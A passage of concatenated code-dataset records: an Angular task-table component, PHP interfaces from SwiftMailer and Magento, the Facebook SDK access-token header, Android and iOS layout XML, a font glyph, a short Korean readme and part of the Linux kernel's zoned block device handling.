report_service: ReportService,\n public model_add_dialog: MatDialog,\n public task_info_dialog: MatDialog,\n iconRegistry: MatIconRegistry,\n sanitizer: DomSanitizer\n ) {\n iconRegistry.addSvgIcon('stop',\n sanitizer.bypassSecurityTrustResourceUrl(\n 'assets/img/stop.svg'));\n iconRegistry.addSvgIcon('report',\n sanitizer.bypassSecurityTrustResourceUrl(\n 'assets/img/report.svg'));\n iconRegistry.addSvgIcon('model',\n sanitizer.bypassSecurityTrustResourceUrl(\n 'assets/img/model.svg'));\n iconRegistry.addSvgIcon('info',\n sanitizer.bypassSecurityTrustResourceUrl(\n 'assets/img/info.svg'));\n }\n\n status_color(status: string) {\n return AppSettings.status_colors[status];\n }\n\n stop(task) {\n this.service.stop(task.id).subscribe(data => {\n });\n }\n\n unfinished(element) {\n return [\n 'not_ran',\n 'in_progress',\n 'queued'].indexOf(element.status) != -1;\n }\n\n\n is_report_transparent(element: any) {\n if (this.report) {\n return false;\n }\n\n return !element.report;\n }\n\n is_report_transparent_active(element: any) {\n if (!this.report) {\n return false;\n }\n\n return !element.report_full;\n }\n\n report_click(element: any) {\n let self = this;\n if (this.report) {\n this.service.toogle_report(\n element.id,\n this.report,\n element.report_full).subscribe(data => {\n element.report_full = data.report_full;\n self.report_service.data_updated.emit();\n });\n return\n }\n }\n\n model(element) {\n this.model_add_dialog.open(ModelAddDialogComponent, {\n width: '500px', height: '400px',\n data: {\n 'project': element.dag_rel.project.id,\n 'projects': this.projects,\n 'task': element.id,\n 'file': 'best_full',\n 'fold': 0\n }\n });\n }\n\n info(element) {\n this.task_info_dialog.open(TaskInfoDialogComponent, {\n width: '600px', height: '700px',\n data: {\n 'id': element.id\n }\n });\n }\n\n router_link(element) {\n if (this.report) {\n return null;\n }\n return `/reports/report-detail/${element.report}`\n }\n\n ngOnInit(): void {\n this.paginator.paginator = this.paginator_view;\n this.paginator.sort = this.sort_view;\n this.paginator.init = true;\n this.paginator.ngOnInit();\n }\n\n pad(num, size) {\n let s = num + \"\";\n while (s.length < size) s = \"0\" + s;\n return s;\n }\n\n get_progress(element) {\n if(!element.loader_name){\n return ''\n }\n let duration_minutes = this.pad(Math.floor(element.epoch_duration / 60).toString(), 2);\n let duration_seconds = this.pad(Math.floor(element.epoch_duration % 60).toString(), 2);\n\n let epoch_time_remaining_minutes = this.pad(Math.floor(element.epoch_time_remaining / 60).toString(), 2);\n let epoch_time_remaining_seconds = this.pad(Math.floor(element.epoch_time_remaining % 60).toString(), 2);\n\n\n let res = `${element.loader_name}: \n ${element.batch_index}/${element.batch_total} \n ${duration_minutes}:${duration_seconds}/\n ${epoch_time_remaining_minutes}:${epoch_time_remaining_seconds}`;\n if(element.loss != null){\n res += `, loss=${element.loss}`\n }\n return res;\n }\n}"} {"text": "<?php\n\n/*\n * This file is part of SwiftMailer.\n * (c) 2004-2009 Chris Corbyn\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n/**\n * Allows StreamFilters to operate on a stream.\n *\n * @author Chris Corbyn\n */\ninterface Swift_Filterable\n{\n /**\n * Add a new StreamFilter, referenced by $key.\n *\n * @param Swift_StreamFilter $filter\n * @param string $key\n */\n public function addFilter(Swift_StreamFilter $filter, $key);\n\n /**\n * Remove an existing filter using $key.\n *\n * @param string $key\n */\n public function removeFilter($key);\n}\n"} {"text": "<?php\nnamespace Psalm\\Issue;\n\nclass InvalidGlobal extends CodeIssue\n{\n public const ERROR_LEVEL = -1;\n public const SHORTCODE = 46;\n}\n"} {"text": "_a_Music0_txt db '_MUSIC0.TXT',0\r\n"} {"text": "# Frontend stuff\n\n페이지 링크 : https://github.com/moklick/frontend-stuff\n\n이 프로젝트 또한 프로젝트 모임집 같은 프로젝트인데요, 특별히 프론트엔드 개발 프레임 워크들을 다루고 있습니다.\n(Javascript에 집중하고 있다는 얘기를 하고 있습니다.)\n\nUI framework 들을 살펴보면 semantic-ui 부터 materialize 까지 작성자가 찾은 UI 프레임 워크들을 소개하고 있습니다.\n\n재미있는 것은 제가 이 프로젝트를 보면서 아래와 같이 Map카테고리에 Openlayers3를 추가해 달라고 했더니 금새 달렸습니다.\n여러분들도 좋아하시는 프레임 워크들을 추천해 보는 것은 어떨까요?\n\n![이미지](../img/004-15.png)\n\n차트들은 상당히 일목요연하게 잘 정리되어 있네요.\n\n![이미지](../img/004-15-2.png)\n"} {"text": "def f(a: Int) = {}\n\nprintln(/* applicable: false */ f())"} {"text": "<?php\n/**\n * Copyright © Magento, Inc. All rights reserved.\n * See COPYING.txt for license details.\n */\n\nnamespace Magento\\Ui\\Api\\Data;\n\n/**\n * Interface for bookmark search results\n *\n * @api\n * @since 100.0.2\n */\ninterface BookmarkSearchResultsInterface extends \\Magento\\Framework\\Api\\SearchResultsInterface\n{\n /**\n * Get customers list\n *\n * @return \\Magento\\Ui\\Api\\Data\\BookmarkInterface[]\n */\n public function getItems();\n\n /**\n * Set customers list\n *\n * @api\n * @param \\Magento\\Ui\\Api\\Data\\BookmarkInterface[] $items\n * @return $this\n */\n public function setItems(array $items);\n}\n"} {"text": "// Copyright (c) 2014-present, Facebook, Inc. All rights reserved.\n//\n// You are hereby granted a non-exclusive, worldwide, royalty-free license to use,\n// copy, modify, and distribute this software in source code or binary form for use\n// in connection with the web services and APIs provided by Facebook.\n//\n// As with any software that integrates with the Facebook platform, your use of\n// this software is subject to the Facebook Developer Principles and Policies\n// [http://developers.facebook.com/policy/]. This copyright notice shall be\n// included in all copies or substantial portions of the software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n// FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n// IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n// CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n#import <Foundation/Foundation.h>\n\n#import <FBSDKCoreKit/FBSDKCopying.h>\n#import <FBSDKCoreKit/FBSDKGraphRequestConnection.h>\n#import <FBSDKCoreKit/FBSDKMacros.h>\n\n/**\n Notification indicating that the `currentAccessToken` has changed.\n\n the userInfo dictionary of the notification will contain keys\n `FBSDKAccessTokenChangeOldKey` and\n `FBSDKAccessTokenChangeNewKey`.\n */\nFBSDK_EXTERN NSString *const FBSDKAccessTokenDidChangeNotification;\n\n/**\n A key in the notification's userInfo that will be set\n if and only if the user ID changed between the old and new tokens.\n\n Token refreshes can occur automatically with the SDK\n which do not change the user. If you're only interested in user\n changes (such as logging out), you should check for the existence\n of this key. The value is a NSNumber with a boolValue.\n\n On a fresh start of the app where the SDK reads in the cached value\n of an access token, this key will also exist since the access token\n is moving from a null state (no user) to a non-null state (user).\n */\nFBSDK_EXTERN NSString *const FBSDKAccessTokenDidChangeUserID;\n\n/*\n key in notification's userInfo object for getting the old token.\n\n If there was no old token, the key will not be present.\n */\nFBSDK_EXTERN NSString *const FBSDKAccessTokenChangeOldKey;\n\n/*\n key in notification's userInfo object for getting the new token.\n\n If there is no new token, the key will not be present.\n */\nFBSDK_EXTERN NSString *const FBSDKAccessTokenChangeNewKey;\n\n\n/**\n Represents an immutable access token for using Facebook services.\n */\n@interface FBSDKAccessToken : NSObject<FBSDKCopying, NSSecureCoding>\n\n/**\n Returns the app ID.\n */\n@property (readonly, copy, nonatomic) NSString *appID;\n\n/**\n Returns the known declined permissions.\n */\n@property (readonly, copy, nonatomic) NSSet *declinedPermissions;\n\n/**\n Returns the expiration date.\n */\n@property (readonly, copy, nonatomic) NSDate *expirationDate;\n\n/**\n Returns the known granted permissions.\n */\n@property (readonly, copy, nonatomic) NSSet *permissions;\n\n/**\n Returns the date the token was last refreshed.\n*/\n@property (readonly, copy, nonatomic) NSDate *refreshDate;\n\n/**\n Returns the opaque token string.\n */\n@property (readonly, copy, nonatomic) NSString *tokenString;\n\n/**\n Returns the user ID.\n */\n@property (readonly, copy, nonatomic) NSString *userID;\n\n- (instancetype)init NS_UNAVAILABLE;\n+ (instancetype)new NS_UNAVAILABLE;\n\n/**\n Initializes a new instance.\n - Parameter tokenString: the opaque token string.\n - Parameter permissions: the granted permissions. Note this is converted to NSSet and is only\n an NSArray for the convenience of literal syntax.\n - Parameter declinedPermissions: the declined permissions. Note this is converted to NSSet and is only\n an NSArray for the convenience of literal syntax.\n - Parameter appID: the app ID.\n - Parameter userID: the user ID.\n - Parameter expirationDate: the optional expiration date (defaults to distantFuture).\n - Parameter refreshDate: the optional date the token was last refreshed (defaults to today).\n\n This initializer should only be used for advanced apps that\n manage tokens explicitly. Typical login flows only need to use `FBSDKLoginManager`\n along with `+currentAccessToken`.\n */\n- (instancetype)initWithTokenString:(NSString *)tokenString\n permissions:(NSArray *)permissions\n declinedPermissions:(NSArray *)declinedPermissions\n appID:(NSString *)appID\n userID:(NSString *)userID\n expirationDate:(NSDate *)expirationDate\n refreshDate:(NSDate *)refreshDate\nNS_DESIGNATED_INITIALIZER;\n\n/**\n Convenience getter to determine if a permission has been granted\n - Parameter permission: The permission to check.\n */\n- (BOOL)hasGranted:(NSString *)permission;\n\n/**\n Compares the receiver to another FBSDKAccessToken\n - Parameter token: The other token\n - Returns: YES if the receiver's values are equal to the other token's values; otherwise NO\n */\n- (BOOL)isEqualToAccessToken:(FBSDKAccessToken *)token;\n\n/**\n Returns the \"global\" access token that represents the currently logged in user.\n\n The `currentAccessToken` is a convenient representation of the token of the\n current user and is used by other SDK components (like `FBSDKLoginManager`).\n */\n+ (FBSDKAccessToken *)currentAccessToken;\n\n/**\n Sets the \"global\" access token that represents the currently logged in user.\n - Parameter token: The access token to set.\n\n This will broadcast a notification and save the token to the app keychain.\n */\n+ (void)setCurrentAccessToken:(FBSDKAccessToken *)token;\n\n/**\n Refresh the current access token's permission state and extend the token's expiration date,\n if possible.\n - Parameter completionHandler: an optional callback handler that can surface any errors related to permission refreshing.\n\n On a successful refresh, the currentAccessToken will be updated so you typically only need to\n observe the `FBSDKAccessTokenDidChangeNotification` notification.\n\n If a token is already expired, it cannot be refreshed.\n */\n+ (void)refreshCurrentAccessToken:(FBSDKGraphRequestHandler)completionHandler;\n\n@end\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<ScrollView android:layout_width=\"fill_parent\" xmlns:android=\"http://schemas.android.com/apk/res/android\" android:id=\"@+id/infoScreenScrollview\" android:layout_height=\"fill_parent\">\n</ScrollView>\n"} {"text": "StartChar: eacute.sc\nEncoding: 1881 -1 1605\nWidth: 443\nVWidth: 0\nFlags: HMW\nLayerCount: 2\nFore\nRefer: 1824 -1 N 1 0 0 1 213.688 47.0083 2\nRefer: 1574 -1 N 1 0 0 1 0 0 3\nValidated: 32769\nEndChar\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"11542\" systemVersion=\"16A323\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" useTraitCollections=\"YES\" colorMatched=\"YES\" initialViewController=\"BYZ-38-t0r\">\n <device id=\"retina4_7\" orientation=\"portrait\">\n <adaptation id=\"fullscreen\"/>\n </device>\n <dependencies>\n <deployment identifier=\"iOS\"/>\n <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"11524\"/>\n <capability name=\"Constraints to layout margins\" minToolsVersion=\"6.0\"/>\n <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n </dependencies>\n <scenes>\n <!--View Controller-->\n <scene sceneID=\"tne-QT-ifu\">\n <objects>\n <viewController id=\"BYZ-38-t0r\" customClass=\"ViewController\" customModule=\"Project_36___ImagePicker\" customModuleProvider=\"target\" sceneMemberID=\"viewController\">\n <layoutGuides>\n <viewControllerLayoutGuide type=\"top\" id=\"y3c-jy-aDJ\"/>\n <viewControllerLayoutGuide type=\"bottom\" id=\"wfy-db-euE\"/>\n </layoutGuides>\n <view key=\"view\" contentMode=\"scaleToFill\" id=\"8bC-Xf-vdC\">\n <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"667\"/>\n <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n <subviews>\n <imageView userInteractionEnabled=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" image=\"mine\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"Y30-oS-14v\">\n <rect key=\"frame\" x=\"-4\" y=\"0.0\" width=\"383\" height=\"667\"/>\n </imageView>\n <imageView contentMode=\"scaleAspectFill\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"S8G-nm-vwH\">\n <rect key=\"frame\" x=\"292\" y=\"268\" width=\"77\" height=\"75\"/>\n <constraints>\n <constraint firstAttribute=\"width\" constant=\"77\" id=\"kYM-qz-IA9\"/>\n </constraints>\n </imageView>\n </subviews>\n <color key=\"backgroundColor\" red=\"1\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n <constraints>\n <constraint firstAttribute=\"trailingMargin\" secondItem=\"Y30-oS-14v\" secondAttribute=\"trailing\" constant=\"-20\" id=\"TAC-0S-vLE\"/>\n <constraint firstItem=\"wfy-db-euE\" firstAttribute=\"top\" secondItem=\"S8G-nm-vwH\" secondAttribute=\"bottom\" constant=\"324\" id=\"UKp-gt-JX9\"/>\n <constraint firstItem=\"Y30-oS-14v\" firstAttribute=\"leading\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"leadingMargin\" constant=\"-20\" id=\"dUu-NH-2qs\"/>\n <constraint firstItem=\"wfy-db-euE\" firstAttribute=\"top\" secondItem=\"Y30-oS-14v\" secondAttribute=\"bottom\" id=\"hzC-4E-6ia\"/>\n <constraint firstAttribute=\"trailingMargin\" secondItem=\"S8G-nm-vwH\" secondAttribute=\"trailing\" constant=\"-10\" id=\"k6R-2j-0Oe\"/>\n <constraint firstItem=\"Y30-oS-14v\" firstAttribute=\"top\" secondItem=\"y3c-jy-aDJ\" secondAttribute=\"bottom\" constant=\"-20\" id=\"k9D-8n-gMI\"/>\n <constraint firstItem=\"S8G-nm-vwH\" firstAttribute=\"top\" secondItem=\"y3c-jy-aDJ\" secondAttribute=\"bottom\" constant=\"248\" id=\"yqv-6l-EcH\"/>\n </constraints>\n </view>\n <connections>\n <outlet property=\"headPicture\" destination=\"S8G-nm-vwH\" id=\"WvQ-Te-lSh\"/>\n </connections>\n </viewController>\n <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"dkx-z0-nzr\" sceneMemberID=\"firstResponder\"/>\n </objects>\n <point key=\"canvasLocation\" x=\"305.5\" y=\"388.5\"/>\n </scene>\n </scenes>\n <resources>\n <image name=\"mine\" width=\"375\" height=\"670\"/>\n </resources>\n</document>\n"} {"text": "// SPDX-License-Identifier: GPL-2.0\n/*\n * Zoned block device handling\n *\n * Copyright (c) 2015, Hannes Reinecke\n * Copyright (c) 2015, SUSE Linux GmbH\n *\n * Copyright (c) 2016, Damien Le Moal\n * Copyright (c) 2016, Western Digital\n */\n\n#include <linux/kernel.h>\n#include <linux/module.h>\n#include <linux/rbtree.h>\n#include <linux/blkdev.h>\n#include <linux/blk-mq.h>\n#include <linux/mm.h>\n#include <linux/vmalloc.h>\n#include <linux/sched/mm.h>\n\n#include \"blk.h\"\n\n#define ZONE_COND_NAME(name) [BLK_ZONE_COND_##name] = #name\nstatic const char *const zone_cond_name[] = {\n\tZONE_COND_NAME(NOT_WP),\n\tZONE_COND_NAME(EMPTY),\n\tZONE_COND_NAME(IMP_OPEN),\n\tZONE_COND_NAME(EXP_OPEN),\n\tZONE_COND_NAME(CLOSED),\n\tZONE_COND_NAME(READONLY),\n\tZONE_COND_NAME(FULL),\n\tZONE_COND_NAME(OFFLINE),\n};\n#undef ZONE_COND_NAME\n\n/**\n * blk_zone_cond_str - Return string XXX in BLK_ZONE_COND_XXX.\n * @zone_cond: BLK_ZONE_COND_XXX.\n *\n * Description: Centralize block layer function to convert BLK_ZONE_COND_XXX\n * into string format. Useful in the debugging and tracing zone conditions. For\n * invalid BLK_ZONE_COND_XXX it returns string \"UNKNOWN\".\n */\nconst char *blk_zone_cond_str(enum blk_zone_cond zone_cond)\n{\n\tstatic const char *zone_cond_str = \"UNKNOWN\";\n\n\tif (zone_cond < ARRAY_SIZE(zone_cond_name) && zone_cond_name[zone_cond])\n\t\tzone_cond_str = zone_cond_name[zone_cond];\n\n\treturn zone_cond_str;\n}\nEXPORT_SYMBOL_GPL(blk_zone_cond_str);\n\nstatic inline sector_t blk_zone_start(struct request_queue *q,\n\t\t\t\t sector_t sector)\n{\n\tsector_t zone_mask = blk_queue_zone_sectors(q) - 1;\n\n\treturn sector & ~zone_mask;\n}\n\n/*\n * Return true if a request is a write requests that needs zone write locking.\n */\nbool blk_req_needs_zone_write_lock(struct request *rq)\n{\n\tif (!rq->q->seq_zones_wlock)\n\t\treturn false;\n\n\tif (blk_rq_is_passthrough(rq))\n\t\treturn false;\n\n\tswitch (req_op(rq)) {\n\tcase REQ_OP_WRITE_ZEROES:\n\tcase REQ_OP_WRITE_SAME:\n\tcase REQ_OP_WRITE:\n\t\treturn blk_rq_zone_is_seq(rq);\n\tdefault:\n\t\treturn false;\n\t}\n}\nEXPORT_SYMBOL_GPL(blk_req_needs_zone_write_lock);\n\nbool blk_req_zone_write_trylock(struct request *rq)\n{\n\tunsigned int zno = blk_rq_zone_no(rq);\n\n\tif (test_and_set_bit(zno, rq->q->seq_zones_wlock))\n\t\treturn false;\n\n\tWARN_ON_ONCE(rq->rq_flags & RQF_ZONE_WRITE_LOCKED);\n\trq->rq_flags |= RQF_ZONE_WRITE_LOCKED;\n\n\treturn true;\n}\nEXPORT_SYMBOL_GPL(blk_req_zone_write_trylock);\n\nvoid __blk_req_zone_write_lock(struct request *rq)\n{\n\tif (WARN_ON_ONCE(test_and_set_bit(blk_rq_zone_no(rq),\n\t\t\t\t\t rq->q->seq_zones_wlock)))\n\t\treturn;\n\n\tWARN_ON_ONCE(rq->rq_flags & RQF_ZONE_WRITE_LOCKED);\n\trq->rq_flags |= RQF_ZONE_WRITE_LOCKED;\n}\nEXPORT_SYMBOL_GPL(__blk_req_zone_write_lock);\n\nvoid __blk_req_zone_write_unlock(struct request *rq)\n{\n\trq->rq_flags &= ~RQF_ZONE_WRITE_LOCKED;\n\tif (rq->q->seq_zones_wlock)\n\t\tWARN_ON_ONCE(!test_and_clear_bit(blk_rq_zone_no(rq),\n\t\t\t\t\t\t rq->q->seq_zones_wlock));\n}\nEXPORT_SYMBOL_GPL(__blk_req_zone_write_unlock);\n\n/**\n * blkdev_nr_zones - Get number of zones\n * @disk:\tTarget gendisk\n *\n * Return the total number of zones of a zoned block device. For a block\n * device without zone capabilities, the number of zones is always 0.\n */\nunsigned int blkdev_nr_zones(struct gendisk *disk)\n{\n\tsector_t zone_sectors = blk_queue_zone_sectors(disk->queue);\n\n\tif (!blk_queue_is_zoned(disk->queue))\n\t\treturn 0;\n\treturn (get_capacity(disk) + zone_sectors - 1) >> ilog2(zone_sectors);\n}\nEXPORT_SYMBOL_GPL(blkdev_nr_zones);\n\n/**\n * blkdev_report_zones - Get zones information\n * @bdev:\tTarget block device\n * @sector:\tSector from which to report zones\n * @nr_zones:\tMaximum number of zones to report\n * @cb:\t\tCallback function called for each reported zone\n * @data:\tPrivate data for the callback\n *\n * Description:\n * Get zone information starting from the zone containing @sector for at most\n * @nr_zones, and call @cb for each zone reported by the device.\n * To report all zones in a device starting from @sector, the BLK_ALL_ZONES\n * constant can be passed to @nr_zones.\n * Returns the number of zones reported by the device, or a negative errno\n * value in case of failure.\n *\n * Note: The caller must use memalloc_noXX_save/restore() calls to control\n * memory allocations done within this function.\n */\nint blkdev_report_zones(struct block_device *bdev, sector_t sector,\n\t\t\tunsigned int nr_zones, report_zones_cb cb, void *data)\n{\n\tstruct gendisk *disk = bdev->bd_disk;\n\tsector_t capacity = get_capacity(disk);\n\n\tif (!blk_queue_is_zoned(bdev_get_queue(bdev)) ||\n\t WARN_ON_ONCE(!disk->fops->report_zones))\n\t\treturn -EOPNOTSUPP;\n\n\tif (!nr_zones || sector >= capacity)\n\t\treturn 0;\n\n\treturn disk->fops->report_zones(disk, sector, nr_zones, cb, data);\n}\nEXPORT_SYMBOL_GPL(blkdev_report_zones);\n\nstatic inline bool blkdev_allow_reset_all_zones(struct block_device *bdev,\n\t\t\t\t\t\tsector_t sector,\n\t\t\t\t\t\tsector_t nr_sectors)\n{\n\tif (!blk_queue_zone_resetall(bdev_get_queue(bdev)))\n\t\treturn false;\n\n\t/*\n\t * REQ_OP_ZONE_RESET_ALL can be executed only if the number of sectors\n\t * of the applicable zone range is the entire disk.\n\t */\n\treturn !sector && nr_sectors == get_capacity(bdev->bd_disk);\n}\n\n/**\n * blkdev_zone_mgmt - Execute a zone management operation on a range of zones\n * @bdev:\tTarget block device\n * @op:\t\tOperation to be performed on the zones\n * @sector:\tStart sector of the first zone to operate on\n * @nr_sectors:\tNumber of sectors, should be at least the length of one zone and\n *\t\tmust be zone size aligned.\n * @gfp_mask:\tMemory allocation flags (for bio_alloc)\n *\n * Description:\n * Perform the specified operation on the range of zones specified by\n * @sector..@sector+@nr_sectors. Specifying the entire disk sector range\n * is valid, but the specified range should not contain conventional zones.\n * The operation to execute on each zone can be a zone reset, open, close\n * or finish request.\n */\nint blkdev_zone_mgmt(struct block_device *bdev, enum req_opf op,\n\t\t sector_t sector, sector_t nr_sectors,\n\t\t gfp_t gfp_mask)\n{\n\tstruct request_queue *q = bdev_get_queue(bdev);\n\tsector_t zone_sectors = blk_queue_zone_sectors(q);\n\tsector_t capacity = get_capacity(bdev->bd_disk);\n\tsector_t end_sector = sector + nr_sectors;\n\tstruct bio *bio = NULL;\n\tint ret;\n\n\tif (!blk_queue_is_zoned(q))\n\t\treturn -EOPNOTSUPP;\n\n\tif (bdev_read_only(bdev))\n\t\treturn -EPERM;\n\n\tif (!op_is_zone_mgmt(op))\n\t\treturn -EOPNOTSUPP;\n\n\tif (end_sector <= sector || end_sector > capacity)\n\t\t/* Out of range */\n\t\treturn -EINVAL;\n\n\t/* Check alignment (handle eventual smaller last zone) */\n\tif (sector & (zone_sectors - 1))\n\t\treturn -EINVAL;\n\n\tif ((nr_sectors & (zone_sectors - 1)) && end_sector != capacity)\n\t\treturn -EINVAL;\n\n\twhile (sector < end_sector) {\n\t\tbio = blk_next_bio(bio, 0, gfp_mask);\n\t\tbio_set_dev(bio, bdev);\n\n\t\t/*\n\t\t * Special case for the zone reset operation that reset all\n\t\t * zones, this is useful for applications like mkfs.\n\t\t */\n\t\tif (op == REQ_OP_ZONE_RESET &&\n\t\t blkdev_allow_reset_all_zones(bdev, sector, nr_sectors)) {\n\t\t\tbio->bi_opf = REQ_OP_ZONE_RESET_ALL;\n\t\t\tbreak;\n\t\t}\n\n\t\tbio->bi_opf = op | REQ_SYNC;\n\t\tbio->bi_iter.bi_sector = sector;\n\t\tsector += zone_sectors;\n\n\t\t/* This may take a while, so be nice to others */\n\t\tcond_resched();\n\t}\n\n\tret = submit_bio_wait(bio);\n\tbio_put(bio);\n\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(blkdev_zone_mgmt);\n\nstruct zone_report_args {\n\tstruct blk_zone __user *zones;\n};\n\nstatic int blkdev_copy_zone_to_user(struct blk_zone *zone, unsigned int idx,\n\t\t\t\t void *data)\n{\n\tstruct zone_report_args *args = data;\n\n\tif (copy_to_user(&args->zones[idx], zone, sizeof(struct blk_zone)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\n/*\n * BLKREPORTZONE ioctl processing.\n * Called from blkdev_ioctl.\n */\nint blkdev_report_zones_ioctl(struct block_device *bdev, fmode_t mode,\n\t\t\t unsigned int cmd, unsigned long arg)\n{\n\tvoid __user *argp = (void __user *)arg;\n\tstruct zone_report_args args;\n\tstruct request_queue *q;\n\tstruct blk_zone_report rep;\n\tint ret;\n\n\tif (!argp)\n\t\treturn -EINVAL;\n\n\tq = bdev_get_queue(bdev);\n\tif (!q)\n\t\treturn -ENXIO;\n\n\tif (!blk_queue_is_zoned(q))\n\t\treturn -ENOTTY;\n\n\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\n\tif (copy_from_user(&rep, argp, sizeof(struct blk_zone_report)))\n\t\treturn -EFAULT;\n\n\tif (!rep.nr_zones)\n\t\treturn -EINVAL;\n\n\targs.zones = argp + sizeof(struct blk_zone_report);\n\tret = blkdev_report_zones(bdev, rep.sector, rep.nr_zones,\n\t\t\t\t blkdev_copy_zone_to_user, &args);\n\tif (ret < 0)\n\t\treturn ret;\n\n\trep.nr_zones = ret;\n\tif (copy_to_user(argp, &rep, sizeof(struct blk_zone_report)))\n\t\treturn -EFAULT;\n\treturn 0;\n}\n\n/*\n * BLKRESETZONE, BLKOPENZONE, BLKCLOSEZONE and BLKFINISHZONE ioctl processing.\n * Called from blkdev_ioctl.\n */\nint blkdev_zone_mgmt_ioctl(struct block_device *bdev, fmode_t mode,\n\t\t\t unsigned int cmd, unsigned long arg)\n{\n\tvoid __user *argp = (void __user *)arg;\n\tstruct request_queue *q;\n\tstruct blk_zone_range zrange;\n\tenum req_opf op;\n\n\tif (!argp)\n\t\treturn -EINVAL;\n\n\tq = bdev_get_queue(bdev);\n\tif (!q)\n\t\treturn -ENXIO;\n\n\tif (!blk_queue_is_zoned(q))\n\t\treturn -ENOTTY;\n\n\tif (!capable(CAP_SYS_ADMIN))\n\t\treturn -EACCES;\n\n\tif (!(mode & FMODE_WRITE))\n\t\treturn -EBADF;\n\n\tif (copy_from_user(&zrange, argp, sizeof(struct blk_zone_range)))\n\t\treturn -EFAULT;\n\n\tswitch (cmd) {\n\tcase BLKRESETZONE:\n\t\top = REQ_OP_ZONE_RESET;\n\t\tbreak;\n\tcase BLKOPENZONE:\n\t\top = REQ_OP_ZONE_OPEN;\n\t\tbreak;\n\tcase BLKCLOSEZONE:\n\t\top = REQ_OP_ZONE_CLOSE;\n\t\tbreak;\n\tcase BLKFINISHZONE:\n\t\top = REQ_OP_ZONE_FINISH;\n\t\tbreak;\n\tdefault:\n\t\treturn -ENOTTY;\n\t}\n\n\treturn blkdev_zone_mgmt(bdev, op, zrange.sector, zrange.nr_sectors,\n\t\t\t\tGFP_KERNEL);\n}\n\nstatic inline unsigned long *blk_alloc_zone_bitmap(int node,\n\t\t\t\t\t\t unsigned int nr_zones)\n{\n\treturn kcalloc_node(BITS_TO_LONGS(nr_zones), sizeof(unsigned long),\n\t\t\t GFP_NOIO, node);\n}\n\nvoid blk_queue_free_zone_bitmaps(struct request_queue *q)\n{\n\tkfree(q->conv_zones_bitmap);\n\tq->conv_zones_bitmap = NULL;\n\tkfree(q->seq_zones_wlock);\n\tq->seq_zones_wlock = NULL;\n}\n\nstruct blk_revalidate_zone_args {\n\tstruct gendisk\t*disk;\n\tunsigned long\t*conv_zones_bitmap;\n\tunsigned long\t*seq_zones_wlock;\n\tunsigned int\tnr_zones;\n\tsector_t\tzone_sectors;\n\tsector_t\tsector;\n};\n\n/*\n * Helper function to check the validity of zones of a zoned block device.\n */\nstatic int blk_revalidate_zone_cb(struct blk_zone *zone, unsigned int idx,\n\t\t\t\t void *data)\n{\n\tstruct blk_revalidate_zone_args *args = data;\n\tstruct gendisk *disk = args->disk;\n\tstruct request_queue *q = disk->queue;\n\tsector_t capacity = get_capacity(disk);\n\n\t/*\n\t * All zones must have the same size, with the exception on an eventual\n\t * smaller last zone.\n\t */\n\tif (zone->start == 0) {\n\t\tif (zone->len == 0 || !is_power_of_2(zone->len)) {\n\t\t\tpr_warn(\"%s: Invalid zoned device with non power of two zone size (%llu)\\n\",\n\t\t\t\tdisk->disk_name, zone->len);\n\t\t\treturn -ENODEV;\n\t\t}\n\n\t\targs->zone_sectors = zone->len;\n\t\targs->nr_zones = (capacity + zone->len - 1) >> ilog2(zone->len);\n\t} else if (zone->start + args->zone_sectors < capacity) {\n\t\tif (zone->len != args->zone_sectors) {\n\t\t\tpr_warn(\"%s: Invalid zoned device with non constant zone size\\n\",\n\t\t\t\tdisk->disk_name);\n\t\t\treturn -ENODEV;\n\t\t}\n\t} else {\n\t\tif (zone->len > args->zone_sectors) {\n\t\t\tpr_warn(\"%s: Invalid zoned device with larger last zone size\\n\",\n\t\t\t\tdisk->disk_name);\n\t\t\treturn -ENODEV;\n\t\t}\n\t}\n\n\t/* Check for holes in the zone report */\n\tif (zone->start != args->sector) {\n\t\tpr_warn(\"%s: Zone gap at sectors %llu..%llu\\n\",\n\t\t\tdisk->disk_name, args->sector, zone->start);\n\t\treturn -ENODEV;\n\t}\n\n\t/* Check zone type */\n\tswitch (zone->type) {\n\tcase BLK_ZONE_TYPE_CONVENTIONAL:\n\t\tif (!args->conv_zones_bitmap) {\n\t\t\targs->conv_zones_bitmap =\n\t\t\t\tblk_alloc_zone_bitmap(q->node, args->nr_zones);\n\t\t\tif (!args->conv_zones_bitmap)\n\t\t\t\treturn -ENOMEM;\n\t\t}\n\t\tset_bit(idx, args->conv_zones_bitmap);\n\t\tbreak;\n\tcase BLK_ZONE_TYPE_SEQWRITE_REQ:\n\tcase 